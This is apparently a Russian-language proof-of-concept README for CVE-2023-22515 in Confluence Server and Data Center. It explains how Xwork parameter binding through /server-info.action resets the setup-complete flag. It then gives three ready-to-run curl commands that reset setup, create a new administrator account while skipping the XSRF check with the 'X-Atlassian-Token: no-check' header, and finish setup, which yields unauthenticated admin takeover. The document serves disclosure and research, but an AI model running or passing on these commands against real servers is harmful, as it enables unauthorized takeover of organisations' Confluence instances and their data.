
Концепт-доказательство эксплойта для CVE-2023-22515, критической уязвимости нарушенного контроля доступа в Confluence Server и Data Center, обеспечивающей неаутентифицированный захват администратора.
CVE-2023-22515 — критическая уязвимость, затрагивающая локальные экземпляры Confluence Server и Confluence Data Center; уязвимость нарушенного контроля доступа (Broken Access Control). Atlassian присвоил ей базовую оценку CVSS 10.0.
Из-за того, как перехватчики Xwork обрабатывают параметры, /test.action?one=a эквивалентно вызову setOne()='a', а /test.action?one.two=a — вызову getOne().setTwo()="a".
Конечные точки /setup/* включают вызов @ParameterSafe, который позволяет использовать set и get, например, в /setup/setupdb.action?dbConfigInfo.databaseType=postgresql. Однако, поскольку конечные точки /setup/* заблокированы после завершения настройки, можно использовать /server-info.action.
Находим метод set для завершения настройки: getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false);
Используем заголовок «X-Atlassian-Token» для обхода XSRF.
curl http://localhost/server-info.action\?bootstrapStatusProvider.applicationConfig.setupComplete\=false\;
curl -X POST -H "X-Atlassian-Token: no-check" -d "username=haxor&fullName=leet&[email protected]&password=leet&confirm=leet&setup-next-button=Next" http://localhost/setup/setupadministrator.action\;
curl -X POST -H "X-Atlassian-Token: no-check" http://localhost/setup/finishsetup.action
ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Эксплойт не был обнаружен или создан мной — все заслуги принадлежат авторам статей ниже.
https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis